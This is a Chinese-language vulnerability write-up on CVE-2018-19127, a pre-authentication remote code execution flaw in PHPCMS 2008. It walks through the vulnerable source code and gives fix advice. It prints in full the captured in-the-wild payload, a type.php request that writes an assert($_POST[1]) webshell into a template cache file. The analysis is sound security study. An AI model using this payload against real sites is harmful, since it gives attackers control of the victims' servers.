PHPCMS 2008远程代码执行

0x01 前提

这个漏洞的起因是阿里云抓到的黑产样本,前台RCE的漏洞,但是PHPCMS 2008这个版本有点老,所以这个漏洞可以用来学习。

阿里云安全于11月5日捕获到该漏洞的多个利用样本,分析后因未联系上PHPCMS官方,已报告给国家信息安全漏洞共享平台,且在cve公共漏洞库中编号为CVE-2018-19127。

0x02 分析

首先先看看捕获到的payload

1
/type.php?template=tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss

看到这个payload,那么漏洞触发点应该在 type.php 文件中,话不多说,先看看代码吧。

1

这里的漏洞触发点实际是 第20行 的代码。

1
include template('phpcms', $template);

根据 payload 也就是说需要这里的 $template 变量可控。但是实际上代码 第6行 已经将 $template 变量赋值了一个初始值 type ,也就是说这个漏洞实际上是绕过了这个地方的变量赋值。

我们先看为啥会绕过变量赋值,看到开头包含了一个 /include/common.inc.php ,我寻思应该绕过部分的问题出在了这个文件里,跟进一下。在 /include/common.inc.php:58 找到了问题所在,我们来看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if($_REQUEST)
{
if(MAGIC_QUOTES_GPC)
{
$_REQUEST = new_stripslashes($_REQUEST);
if($_COOKIE) $_COOKIE = new_stripslashes($_COOKIE);
extract($db->escape($_REQUEST), EXTR_SKIP);
}
else
{
$_POST = $db->escape($_POST);
$_GET = $db->escape($_GET);
$_COOKIE = $db->escape($_COOKIE);
@extract($_POST,EXTR_SKIP);
@extract($_GET,EXTR_SKIP);
@extract($_COOKIE,EXTR_SKIP);
}

这部分代码的主要作用是接收到请求的时候判断是否开启了 MAGIC_QUOTES_GPC 方法,没有的话,针对 $_GET$_POST$_COOKIE 等数组进行处理,然后使用 extract 函数,这个函数的作用就是用来注册变量,但是 EXTR_SKIP 作用是如果有冲突,不覆盖已有的变量。而我们知道针对 $template 实现判断它是否不为空,如果为空才赋值给它一个初始值 type ,也就是说我们可以注册 $template 变量的值,来让它不为空,从而绕过

1
if(empty($template)) $template = 'type';

好了 $template 变量可控的原理找到了之后,我们继续看看漏洞触发原因。

这里我们跟进一下 template 函数,相关函数出现在 include/global.func.php:772 ,我们看一下实际代码。

2

我们看到 第二行 存在一个常量 TPL_CACHEPATH ,跟进一下这个常量的定义,相关位置在 include/config.inc.php:56 。也就是说这个常量的实际作用是定义了模版的缓存物理路径。

2

然后我们继续往下看,第4行 if判断中也有一个常量 TPL_REFRESH ,跟进一下这个常量定义,相关位置在 include/config.inc.php:57。这个常量用来判断模版缓存是否自动更新,默认值是1。

2

然后实际上这个 if判断 里剩下的内容就是判断文件是否存在,以及一些修改时间的判断。这里如果这个if语句做的是逻辑的与运算,换句话来说if判断中的 两个条件必须都成立 的情况下才能进入到这个循环体中进行相关操作。换句话来说,也就是该系统不能将模版缓存自动更新功能关闭,恰巧该功能是默认值为1。

那我们继续往下看,看看这个if条件达成之后,会继续做什么操作,相关代码如下:

1
2
require_once PHPCMS_ROOT.'include/template.func.php';
template_compile($module, $template, $istag);

这里如果进入if语句之后,会先包含 include/template.func.php 这个文件,在调用 template_compile 函数。继续跟进 template_compile 函数,相关函数位置在 include/template.func.php:2

5

这里我们看到了一个很直观的函数 file_put_contents ,这个函数经常会导致任意文件写入的漏洞。也就是说如果 第13行 代码中的 $content 可控的情况下就会导致任意文件写入的问题。

1
$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);

这里进行了逻辑与运算,原来 $istag 初始化了为0,也就是 substr($template, 0, 4) == ‘tag_’ 的结果必须为true。

1
$content = ($istag || substr($template, 0, 4) == 'tag_')

要使得 substr($template, 0, 4) == ‘tag_’ 的结果必须为true,很简单,只需要 $template 变量中以 tag_ 开头。

6

我们回过头梳理一下过程。

7

0x03 动态分析

这里可以看到传入 template=tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss ,这里的 $template 通过变量注册已经不会再赋值初始值 type 了。

8

我们看到 $template 已经传入到漏洞触发点了。

8

然后我们可以看到这里的 $compiledtplfile 变量通过赋值 payload 实际上是判断了 data/cache_template/rss.tpl.php 文件是否存在。而实际上确实该文件不存在,所以这里的if判断过去了,并且成功将 $template 带入到 template_compile 函数中了。

8

11

这里我们可以看到 template_compile 函数中利用payload成功经过了 $content 变量的判断,并且将 $template 的内容写到了data/cache_template/rss.tpl.php 文件中。

11

13

0x04 修复建议

临时最简单直接的修复建议就是把 TPL_REFRESH 的定义改成 0 。当然这样修改之后会导致功能无法使用。

14

当然也可以更新到最新。

0x05 后记

由于这个漏洞环境因为mysql版本的问题,他默认数据文件是的type=,需要替换成ENGINE=,这样才能用。

15

我已经修改好了一稿,但是还是有点问题,有需要的时候安装的时候可以不要勾选下图这个广告模块数据,一样可以用来复现。不得不说,务实派的黑产感觉永远走在技术应用的最前端。

15